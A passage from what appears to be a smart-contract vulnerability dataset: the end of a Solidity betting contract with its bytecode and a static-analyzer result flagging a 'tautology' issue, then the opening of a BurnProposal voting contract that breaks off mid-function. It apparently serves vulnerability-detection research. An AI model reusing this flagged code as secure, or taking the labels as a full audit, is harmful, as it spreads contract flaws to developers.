uint maxAvailableStake = mul(sub(makerBet.totalFund, makerBet.reservedFund), (10 ** oddsDecimals)) / sub(odds, (10 ** oddsDecimals));
if (maxAvailableStake >= minAllowedStake) {
require(msg.value >= minAllowedStake);
} else {
require(msg.value >= sub(maxAvailableStake, (maxAvailableStake / 10)) && msg.value <= maxAvailableStake);
}
// If remaining fund is not enough, send the money back.
require(msg.value <= maxAvailableStake);
makerBet.takerBets.length++;
makerBet.takerBets[makerBet.takerBetsCount] = TakerBet(takerBetId, msg.sender, odds, msg.value, false);
makerBet.reservedFund = add(makerBet.reservedFund, mul(msg.value, sub(odds, (10 ** oddsDecimals))) / (10 ** oddsDecimals));
makerBet.totalStake = add(makerBet.totalStake, msg.value);
makerBet.takerBetsCount++;
emit LogTakeBet(makerBetId, maker, takerBetId, msg.sender);
}
/// Payout to maker
function payMaker(MakerBet storage makerBet) private returns (bool fullyWithdrawn) {
fullyWithdrawn = false;
if (!makerBet.makerFundWithdrawn) {
makerBet.makerFundWithdrawn = true;
uint payout = 0;
if (makerBet.outcome == BetOutcome.MakerWin) {
uint trustedVerifierFeeMakerWin = mul(makerBet.totalStake, makerBet.trustedVerifier.feeRate) / ((10 ** feeRateDecimals) * 100);
payout = sub(add(makerBet.totalFund, makerBet.totalStake), trustedVerifierFeeMakerWin);
} else if (makerBet.outcome == BetOutcome.TakerWin) {
payout = sub(makerBet.totalFund, makerBet.reservedFund);
} else if (makerBet.outcome == BetOutcome.Draw || makerBet.outcome == BetOutcome.Canceled) {
payout = makerBet.totalFund;
}
if (payout > 0) {
fullyWithdrawn = true;
if (!makerBet.maker.send(payout)) {
makerBet.makerFundWithdrawn = false;
fullyWithdrawn = false;
}
}
}
return fullyWithdrawn;
}
/// Payout to taker
function payTaker(MakerBet storage makerBet, address taker) private returns (bool fullyWithdrawn) {
fullyWithdrawn = false;
uint payout = 0;
for (uint betIndex = 0; betIndex < makerBet.takerBetsCount; betIndex++) {
if (makerBet.takerBets[betIndex].taker == taker) {
if (!makerBet.takerBets[betIndex].settled) {
makerBet.takerBets[betIndex].settled = true;
if (makerBet.outcome == BetOutcome.MakerWin) {
continue;
} else if (makerBet.outcome == BetOutcome.TakerWin) {
uint netProfit = mul(mul(makerBet.takerBets[betIndex].stake, sub(makerBet.takerBets[betIndex].odds, (10 ** oddsDecimals))), sub(((10 ** feeRateDecimals) * 100), makerBet.trustedVerifier.feeRate)) / (10 ** oddsDecimals) / ((10 ** feeRateDecimals) * 100);
payout = add(payout, add(makerBet.takerBets[betIndex].stake, netProfit));
} else if (makerBet.outcome == BetOutcome.Draw || makerBet.outcome == BetOutcome.Canceled) {
payout = add(payout, makerBet.takerBets[betIndex].stake);
}
}
}
}
if (payout > 0) {
fullyWithdrawn = true;
if (!taker.send(payout)) {
fullyWithdrawn = false;
for (uint betIndex2 = 0; betIndex2 < makerBet.takerBetsCount; betIndex2++) {
if (makerBet.takerBets[betIndex2].taker == taker) {
if (makerBet.takerBets[betIndex2].settled) {
makerBet.takerBets[betIndex2].settled = false;
}
}
}
}
}
return fullyWithdrawn;
}
/// Payout to verifier
function payVerifier(MakerBet storage makerBet) private returns (bool fullyWithdrawn) {
fullyWithdrawn = false;
if (!makerBet.trustedVerifierFeeSent) {
makerBet.trustedVerifierFeeSent = true;
uint payout = 0;
if (makerBet.outcome == BetOutcome.MakerWin) {
uint trustedVerifierFeeMakerWin = mul(makerBet.totalStake, makerBet.trustedVerifier.feeRate) / ((10 ** feeRateDecimals) * 100);
payout = add(baseVerifierFee, trustedVerifierFeeMakerWin);
} else if (makerBet.outcome == BetOutcome.TakerWin) {
uint trustedVerifierFeeTakerWin = mul(makerBet.reservedFund, makerBet.trustedVerifier.feeRate) / ((10 ** feeRateDecimals) * 100);
payout = add(baseVerifierFee, trustedVerifierFeeTakerWin);
} else if (makerBet.outcome == BetOutcome.Draw || makerBet.outcome == BetOutcome.Canceled) {
payout = baseVerifierFee;
}
if (payout > 0) {
fullyWithdrawn = true;
if (!makerBet.trustedVerifier.addr.send(payout)) {
makerBet.trustedVerifierFeeSent = false;
fullyWithdrawn = false;
}
}
}
return fullyWithdrawn;
}
/// Settle a bet by trusted verifier
function settleBet(uint makerBetId, address maker, uint outcome) external {
require(outcome == 1 || outcome == 2 || outcome == 3 || outcome == 4);
MakerBet storage makerBet = makerBets[makerBetId][maker];
require(makerBet.makerBetId != 0);
require(msg.sender == makerBet.trustedVerifier.addr);
require(makerBet.totalStake > 0);
require(makerBet.status != BetStatus.Settled);
BetOutcome betOutcome = BetOutcome(outcome);
makerBet.outcome = betOutcome;
makerBet.status = BetStatus.Settled;
payMaker(makerBet);
payVerifier(makerBet);
emit LogSettleBet(makerBetId, maker);
}
/// Manual withdraw fund from a bet after outcome is set
function withdraw(uint makerBetId, address maker) external {
MakerBet storage makerBet = makerBets[makerBetId][maker];
require(makerBet.makerBetId != 0);
require(makerBet.outcome != BetOutcome.NotSettled);
require(makerBet.status == BetStatus.Settled);
bool fullyWithdrawn = false;
if (msg.sender == maker) {
fullyWithdrawn = payMaker(makerBet);
} else if (msg.sender == makerBet.trustedVerifier.addr) {
fullyWithdrawn = payVerifier(makerBet);
} else {
fullyWithdrawn = payTaker(makerBet, msg.sender);
}
if (fullyWithdrawn) {
emit LogWithdraw(makerBetId, maker, msg.sender);
}
}
/* External views */
function getOwner() external view returns(address) {
return owner;
}
function isAdmin(address addr) external view returns(bool) {
return admins[addr];
}
function getVerifier(address addr) external view returns(address, uint) {
Verifier memory verifier = verifiers[addr];
return (verifier.addr, verifier.feeRate);
}
function getMakerBetBasicInfo(uint makerBetId, address maker) external view returns(uint, address, address, uint, uint) {
MakerBet memory makerBet = makerBets[makerBetId][maker];
return (makerBet.makerBetId, makerBet.maker, makerBet.trustedVerifier.addr, makerBet.trustedVerifier.feeRate, makerBet.expiry);
}
function getMakerBetDetails(uint makerBetId, address maker) external view returns(uint, BetStatus, uint, uint, uint, uint, uint, BetOutcome, bool, bool) {
MakerBet memory makerBet = makerBets[makerBetId][maker];
return (makerBet.makerBetId, makerBet.status, makerBet.odds, makerBet.totalFund, makerBet.reservedFund, makerBet.takerBetsCount, makerBet.totalStake, makerBet.outcome, makerBet.makerFundWithdrawn, makerBet.trustedVerifierFeeSent);
}
function getTakerBet(uint makerBetId, address maker, uint takerBetId, address taker) external view returns(uint, address, uint, uint, bool) {
MakerBet memory makerBet = makerBets[makerBetId][maker];
for (uint betIndex = 0; betIndex < makerBet.takerBetsCount; betIndex++) {
TakerBet memory takerBet = makerBet.takerBets[betIndex];
if (takerBet.takerBetId == takerBetId && takerBet.taker == taker) {
return (takerBet.takerBetId, takerBet.taker, takerBet.odds, takerBet.stake, takerBet.settled);
}
}
}
/* Math utilities */
function mul(uint256 _a, uint256 _b) private pure returns(uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function sub(uint256 _a, uint256 _b) private pure returns(uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) private pure returns(uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
|
0x60806040526004361061015d5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662f714ce811461016257806301b2a41314610188578063059ce95d146101af578063070fdb96146101f35780630e5411851461025657806310c4b19a1461026e5780631785f53c1461028357806324d7806c146102a4578063346c96e9146102d957806341e8da52146102e45780635ada7bee146103045780635f9e10801461031c57806365eb0dec14610343578063704802751461035e578063863f52b41461037f578063893d20e8146103945780638d3d70df146103c5578063a19ee7a3146103e2578063a24beff7146103fa578063a444751514610412578063a5ec4fae1461046d578063a6f9dae114610485578063aebc0310146104a6578063b9ff5fcf146104c1578063bbd974cc1461055a578063e7938b821461056f578063fc7368fa14610584575b600080fd5b34801561016e57600080fd5b50610186600435600160a060020a036024351661059c565b005b34801561019457600080fd5b5061019d6106a1565b60408051918252519081900360200190f35b3480156101bb57600080fd5b506101d0600160a060020a03600435166106a7565b60408051600160a060020a03909316835260208301919091528051918290030190f35b3480156101ff57600080fd5b50610221600435600160a060020a0360243581169060443590606435166106f1565b60408051958652600160a060020a03909416602086015284840192909252606084015215156080830152519081900360a00190f35b34801561026257600080fd5b506101866004356109c2565b34801561027a57600080fd5b5061019d610a60565b34801561028f57600080fd5b50610186600160a060020a0360043516610a66565b3480156102b057600080fd5b506102c5600160a060020a0360043516610a9e565b604080519115158252519081900360200190f35b610186600435610abc565b610186600435602435600160a060020a0360443516606435608435610bb3565b34801561031057600080fd5b50610186600435610d56565b34801561032857600080fd5b50610186600435600160a060020a0360243516604435610df6565b34801561034f57600080fd5b50610186600435602435610f33565b34801561036a57600080fd5b50610186600160a060020a0360043516610f5f565b34801561038b57600080fd5b5061019d610f9a565b3480156103a057600080fd5b506103a9610fa0565b60408051600160a060020a039092168252519081900360200190f35b610186600435600160a060020a0360243516604435606435610fb0565b3480156103ee57600080fd5b50610186600435611298565b34801561040657600080fd5b506101866004356112ca565b34801561041e57600080fd5b50610436600435600160a060020a036024351661147d565b60408051958652600160a060020a039485166020870152929093168483015260608401526080830191909152519081900360a00190f35b34801561047957600080fd5b5061018660043561166a565b34801561049157600080fd5b50610186600160a060020a036004351661169c565b3480156104b257600080fd5b506101866004356024356116e2565b3480156104cd57600080fd5b506104e5600435600160a060020a03602435166117f5565b604051808b81526020018a60038111156104fb57fe5b60ff16815260200189815260200188815260200187815260200186815260200185815260200184600481111561052d57fe5b60ff1681529215156020840152501515604080830191909152519081900360600198509650505050505050f35b34801561056657600080fd5b5061019d611a91565b34801561057b57600080fd5b5061019d611a97565b34801561059057600080fd5b50610186600435611a9d565b6000828152600760209081526040808320600160a060020a03851684529091528120805490919015156105ce57600080fd5b6000600c83015460ff1660048111156105e357fe5b14156105ee57600080fd5b6003600783015460ff16600381111561060357fe5b1461060d57600080fd5b50600033600160a060020a03841614156106315761062a82611b38565b905061065c565b6004820154600160a060020a031633141561064f5761062a82611c89565b6106598233611def565b90505b801561069b576040513390600160a060020a0385169086907f2cb37aff400bbf598047e9ba1607636a2f0a8cb1a07341125a3f02efd0eaf8b090600090a45b50505050565b60035481565b6000806106b261215f565b505050600160a060020a039081166000908152600860209081526040918290208251808401909352805490931680835260019093015491018190529091565b6000806000806000610701612176565b600061070b61220b565b600760008d815260200190815260200160002060008c600160a060020a0316600160a060020a031681526020019081526020016000206101c06040519081016040529081600082015481526020016001820160009054906101000a9004600160a060020a0316600160a060020a0316600160a060020a031681526020016002820154815260200160038201548152602001600482016040805190810160405290816000820160009054906101000a9004600160a060020a0316600160a060020a0316600160a060020a031681526020016001820154815250508152602001600682015481526020016007820160009054906101000a900460ff16600381111561081057fe5b600381111561081b57fe5b81526020016008820154815260200160098201548152602001600a8201548152602001600b8201805480602002602001604051908101604052809291908181526020016000905b828210156108ce5760008481526020908190206040805160a0810182526005860290920180548352600180820154600160a060020a031684860152600282015492840192909252600381015460608401526004015460ff16151560808301529083529092019101610862565b50505090825250600c82015460209091019060ff1660048111156108ee57fe5b60048111156108f957fe5b8152600c919091015460ff6101008204811615156020840152620100009091041615156040909101529250600091505b8261010001518210156109b45761014083015180518390811061094857fe5b90602001906020020151905089816000015114801561097c575088600160a060020a03168160200151600160a060020a0316145b156109a95780600001518160200151826040015183606001518460800151975097509750975097506109b4565b600190910190610929565b505050945094509450945094565b60008181526007602090815260408083203384529091529020805415156109e857600080fd5b6000600782015460ff1660038111156109fd57fe5b14610a0757600080fd5b6001810154600160a060020a03163314610a2057600080fd5b60078101805460ff19166001179055604051339083907fa897c09fd3e956bd23afe97af77d6258110ba3eebbe92e4c593d07ffd484be1290600090a35050565b60005481565b600454600160a060020a03163314610a7d57600080fd5b600160a060020a03166000908152600560205260409020805460ff19169055565b600160a060020a031660009081526005602052604090205460ff1690565b6000818152600760209081526040808320338452909152812080549091901515610ae557600080fd5b60068201544210610af557600080fd5b6000600783015460ff166003811115610b0a57fe5b1480610b2857506001600783015460ff166003811115610b2657fe5b145b1515610b3357600080fd5b6001820154600160a060020a03163314610b4c57600080fd5b60003411610b5957600080fd5b506003810154610b698134612111565b600383018190556040805183815260208101929092528051339286927f7f569773fc747964aff1f560849e7d8d71efb5b9f3aff72b2204668bf81338ee92918290030190a3505050565b600080610bbe61215f565b610bca34600354612124565b600054909350831015610bdc57600080fd5b606487118015610bf057506402540be40087105b1515610bfb57600080fd5b428411610c0757600080fd5b60008881526007602090815260408083203384529091529020805490925015610c2f57600080fd5b50600160a060020a038086166000908152600860209081526040918290208251808401909352805490931680835260019093015490820152901515610c7357600080fd5b60208101518514610c8357600080fd5b878255600180830180543373ffffffffffffffffffffffffffffffffffffffff199182168117909255600285018a9055600385018690556040805180820182528551600160a060020a03168082526020808801519201829052600488018054909416179092556005860191909155600680860188905560078601805460ff1916905560006008870181905560098701819055600a8701819055815490940190555190918a917ff194d4c68ec6aadc996b30e22c067d1117af5c18266a6104f2d6c40e9f4dbb089190a35050505050505050565b60008060008310158015610d6c57506103e88311155b1515610d7757600080fd5b505033600081815260086020908152604091829020600181018054825473ffffffffffffffffffffffffffffffffffffffff19168617835590869055835181815292830186905283519194909390927fe599036c98ccfca15ff60b72e1b108f85708695e5507dc4a04a9cdc46edccd1b929081900390910190a2505050565b6000808260011480610e085750826002145b80610e135750826003145b80610e1e5750826004145b1515610e2957600080fd5b6000858152600760209081526040808320600160a060020a0388168452909152902080549092501515610e5b57600080fd5b6004820154600160a060020a03163314610e7457600080fd5b600a820154600010610e8557600080fd5b6003600783015460ff166003811115610e9a57fe5b1415610ea557600080fd5b826004811115610eb157fe5b600c83018054919250829160ff19166001836004811115610ece57fe5b021790555060078201805460ff19166003179055610eeb82611b38565b50610ef582611c89565b50604051600160a060020a0385169086907f07cdf7aa355f3acc72f4a350acf9af8524fe3501a2b3f9c899336ee45f0c5ddc90600090a35050505050565b3360009081526005602052604090205460ff161515600114610f5457600080fd5b600191909155600255565b600454600160a060020a03163314610f7657600080fd5b600160a060020a03166000908152600560205260409020805460ff19166001179055565b60065481565b600454600160a060020a03165b90565b6000808033600160a060020a0387161415610fca57600080fd5b60003411610fd757600080fd5b6000878152600760209081526040808320600160a060020a038a16845290915290208054909350151561100957600080fd5b6004830154600160a060020a031633141561102357600080fd5b6006830154421061103357600080fd5b6000600784015460ff16600381111561104857fe5b1461105257600080fd5b6002830154851461106257600080fd5b60015460098401541061107457600080fd5b60646110808682612124565b61109d61109586600301546002600a0a612136565b600254612136565b8115156110a657fe5b048115156110b057fe5b0491506110be856064612124565b6110da6110d385600301548660080154612124565b6064612136565b8115156110e357fe5b0490508181106110ff57348211156110fa57600080fd5b611126565b61110c81600a8104612124565b341015801561111b5750803411155b151561112657600080fd5b3481101561113357600080fd5b600b83018054906111479060018301612246565b506040805160a081018252858152336020820152908101869052346060820152600060808201526009840154600b85018054909190811061118457fe5b60009182526020918290208351600592909202019081559082015160018201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0390921691909117905560408201516002820155606082015160038201556080909101516004909101805460ff19169115159190911790556008830154611228906064611219346112148a84612124565b612136565b81151561122257fe5b04612111565b6008840155600a83015461123c9034612111565b600a84015560098301805460010190556040805133815290518591600160a060020a038916918a917f4fe2c3df991d3a9ea490e2ccabe2aad545bda3021d388fc512c237f725f8e66c919081900360200190a450505050505050565b3360009081526005602052604090205460ff1615156001146112b957600080fd5b6112c4816001612136565b60005550565b600081815260076020908152604080832033845290915281208054909190819015156112f557600080fd5b6000600784015460ff16600381111561130a57fe5b148061132857506001600784015460ff16600381111561132657fe5b145b151561133357600080fd5b6001830154600160a060020a0316331461134c57600080fd5b60078301805460ff191660021790556003830154600884015461136f9190612124565b9150600082111561144a575060088201546003830155600a820154819015156113b25761139e81600354612111565b600c8401805461ff00191661010017905590505b6001830154604051600160a060020a039091169082156108fc029083906000818181858888f193505050501515611417576113f1836003015483612111565b600384015560078301805460ff19166001179055600c8301805461ff0019169055611445565b604051339085907fcb78b88b031bb6bafed094c95fba375c0b7bdc87c6e7d29db7a22e3c557eeb1190600090a35b61069b565b604051339085907fcb78b88b031bb6bafed094c95fba375c0b7bdc87c6e7d29db7a22e3c557eeb1190600090a350505050565b600080600080600061148d612176565b6000888152600760208181526040808420600160a060020a03808d1686529083529381902081516101c08101835281548152600182015486168185015260028201548184015260038083015460608301528351808501909452600483015490961683526005820154938301939093526080830191909152600681015460a083015291820154909260c084019160ff169081111561152657fe5b600381111561153157fe5b81526020016008820154815260200160098201548152602001600a8201548152602001600b8201805480602002602001604051908101604052809291908181526020016000905b828210156115e45760008481526020908190206040805160a0810182526005860290920180548352600180820154600160a060020a031684860152600282015492840192909252600381015460608401526004015460ff16151560808301529083529092019101611578565b50505090825250600c82015460209091019060ff16600481111561160457fe5b600481111561160f57fe5b8152600c919091015460ff610100820481161515602080850191909152620100009092041615156040909201919091528151828201516080840151805193015160a090940151919c909b509199509197509095509350505050565b3360009081526005602052604090205460ff16151560011461168b57600080fd5b611696816001612136565b60035550565b600454600160a060020a031633146116b357600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000806064831180156116f957506402540be40083105b151561170457600080fd5b600084815260076020908152604080832033845290915290208054909250151561172d57600080fd5b6006820154421061173d57600080fd5b6000600783015460ff16600381111561175257fe5b148061177057506001600783015460ff16600381111561176e57fe5b145b151561177b57600080fd5b6001820154600160a060020a0316331461179457600080fd5b60028201548314156117a557600080fd5b506002810180549083905560408051828152602081018590528151339287927f2fe0c7191d1b8308f9a693f439bf6dbe9e2312380d83c859d3e2f557a24587c1929081900390910190a350505050565b60008060008060008060008060008061180c612176565b600760008e815260200190815260200160002060008d600160a060020a0316600160a060020a031681526020019081526020016000206101c06040519081016040529081600082015481526020016001820160009054906101000a9004600160a060020a0316600160a060020a0316600160a060020a031681526020016002820154815260200160038201548152602001600482016040805190810160405290816000820160009054906101000a9004600160a060020a0316600160a060020a0316600160a060020a031681526020016001820154815250508152602001600682015481526020016007820160009054906101000a900460ff16600381111561191157fe5b600381111561191c57fe5b81526020016008820154815260200160098201548152602001600a8201548152602001600b8201805480602002602001604051908101604052809291908181526020016000905b828210156119cf5760008481526020908190206040805160a0810182526005860290920180548352600180820154600160a060020a031684860152600282015492840192909252600381015460608401526004015460ff16151560808301529083529092019101611963565b50505090825250600c82015460209091019060ff1660048111156119ef57fe5b60048111156119fa57fe5b8152602001600c820160019054906101000a900460ff16151515158152602001600c820160029054906101000a900460ff161515151581525050905080600001518160c00151826040015183606001518460e00151856101000151866101200151876101600151886101800151896101a001519a509a509a509a509a509a509a509a509a509a50509295989b9194979a5092959850565b60015481565b60025481565b6000818152600760209081526040808320338452909152902080541515611ac357600080fd5b6001600782015460ff166003811115611ad857fe5b14611ae257600080fd5b6001810154600160a060020a03163314611afb57600080fd5b60078101805460ff19169055604051339083907fba7b6d82b7173c737f1a057fd3ee968c9dba846100ad60fb29cae0c10e34dc4890600090a35050565b600c81015460009081908190610100900460ff161515611c8257600c8401805461ff001916610100179055600091506001600c85015460ff166004811115611b7c57fe5b1415611bc757600a84015460058501546103e891611b9991612136565b811515611ba257fe5b049050611bc0611bba856003015486600a0154612111565b82612124565b9150611c34565b6002600c85015460ff166004811115611bdc57fe5b1415611bf457611bc084600301548560080154612124565b6003600c85015460ff166004811115611c0957fe5b1480611c2757506004600c85015460ff166004811115611c2557fe5b145b15611c3457836003015491505b6000821115611c8257600184810154604051919450600160a060020a03169083156108fc029084906000818181858888f193505050501515611c8257600c8401805461ff0019169055600092505b5050919050565b600c81015460009081908190819062010000900460ff161515611de757600c8501805462ff0000191662010000179055600092506001600c86015460ff166004811115611cd257fe5b1415611d0e57600a85015460058601546103e891611cef91612136565b811515611cf857fe5b049150611d0760035483612111565b9250611d96565b6002600c86015460ff166004811115611d2357fe5b1415611d5857600885015460058601546103e891611d4091612136565b811515611d4957fe5b049050611d0760035482612111565b6003600c86015460ff166004811115611d6d57fe5b1480611d8b57506004600c86015460ff166004811115611d8957fe5b145b15611d965760035492505b6000831115611de757600485015460405160019550600160a060020a039091169084156108fc029085906000818181858888f193505050501515611de757600c8501805462ff000019169055600093505b505050919050565b6000808080805b86600901548310156120145785600160a060020a031687600b0184815481101515611e1d57fe5b6000918252602090912060016005909202010154600160a060020a0316141561200957600b8701805484908110611e5057fe5b600091825260209091206004600590920201015460ff16151561200957600187600b0184815481101515611e8057fe5b60009182526020909120600590910201600401805460ff19169115159190911790556001600c88015460ff166004811115611eb757fe5b1415611ec257612009565b6002600c88015460ff166004811115611ed757fe5b1415611fa257600b870180546103e891606491611f5091611f3e9188908110611efc57fe5b9060005260206000209060050201600301546112148c600b0189815481101515611f2257fe5b9060005260206000209060050201600201546002600a0a612124565b60058b0154611214906103e890612124565b811515611f5957fe5b04811515611f6357fe5b049150611f9b84611f9689600b0186815481101515611f7e57fe5b90600052602060002090600502016003015485612111565b612111565b9350612009565b6003600c88015460ff166004811115611fb757fe5b1480611fd557506004600c88015460ff166004811115611fd357fe5b145b15612009576120068488600b0185815481101515611fef57fe5b906000526020600020906005020160030154612111565b93505b600190920191611df6565b60008411156121075760405160019550600160a060020a0387169085156108fc029086906000818181858888f193505050501515612107575060009350835b86600901548110156121075785600160a060020a031687600b018281548110151561207a57fe5b6000918252602090912060016005909202010154600160a060020a031614156120ff57600b87018054829081106120ad57fe5b600091825260209091206004600590920201015460ff16156120ff57600087600b01828154811015156120dc57fe5b60009182526020909120600590910201600401805460ff19169115159190911790555b600101612053565b5050505092915050565b8181018281101561211e57fe5b92915050565b60008282111561213057fe5b50900390565b60008215156121475750600061211e565b5081810281838281151561215757fe5b041461211e57fe5b604080518082019091526000808252602082015290565b6101e060405190810160405280600081526020016000600160a060020a0316815260200160008152602001600081526020016121b061215f565b815260200160008152602001600060038111156121c957fe5b815260200160008152602001600081526020016000815260200160608152602001600060048111156121f757fe5b815260006020820181905260409091015290565b60a060405190810160405280600081526020016000600160a060020a0316815260200160008152602001600081526020016000151581525090565b815481835581811115612272576005028160050283600052602060002091820191016122729190612277565b505050565b610fad91905b808211156122c957600080825560018201805473ffffffffffffffffffffffffffffffffffffffff1916905560028201819055600382015560048101805460ff1916905560050161227d565b50905600a165627a7a7230582003d0a3575e71a060a50ab2014260d66028f2a0b83ff96c5708c7880b3a4dc8bb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,757 |
0xef3BB2Ab1c651DD052dD45a83fc2de306C9Ad94d
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: IRole
interface IRole {
function getRoleMemberCount(bytes32 role) external view returns (uint256);
function hasRole(bytes32 role, address account) external view returns (bool);
}
// Part: OpenZeppelin/openzeppelin-contracts@3.3.0/Context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Part: OpenZeppelin/openzeppelin-contracts@3.3.0/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: OpenZeppelin/openzeppelin-contracts@3.3.0/Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: BurnProposal.sol
contract BurnProposal is Ownable{
using SafeMath for uint;
struct Proposal {
string ethHash;
string btcHash;
uint256 voteCount;
bool finished;
bool isExist;
mapping(address=>bool) voteState;
}
mapping(string => Proposal) public proposals;
IRole public trustee;
uint256 public diff=1;
constructor(address _boringdao) public {
trustee = IRole(_boringdao);
}
function setTrustee(address _trustee) public onlyOwner{
trustee = IRole(_trustee);
}
function setDiff(uint256 _diff) public onlyOwner {
diff = _diff;
}
function approve(string memory ethHash, string memory btcHash, bytes32 _tunnelKey) public onlyTrustee(_tunnelKey) {
string memory key = string(abi.encodePacked(ethHash, btcHash, _tunnelKey));
if (proposals[key].isExist == false) {
Proposal memory p = Proposal({
ethHash: ethHash,
btcHash: btcHash,
voteCount: 1,
finished: false,
isExist: true
});
proposals[key] = p;
proposals[key].voteState[msg.sender] = true;
emit VoteBurnProposal(_tunnelKey, ethHash, btcHash, msg.sender, p.voteCount);
} else {
Proposal storage p = proposals[key];
if(p.voteState[msg.sender] == true) {
return;
}
if(p.finished) {
return;
}
p.voteCount = p.voteCount.add(1);
p.voteState[msg.sender] = true;
emit VoteBurnProposal(_tunnelKey, ethHash, btcHash, msg.sender, p.voteCount);
}
Proposal storage p = proposals[key];
uint trusteeCount = getTrusteeCount(_tunnelKey);
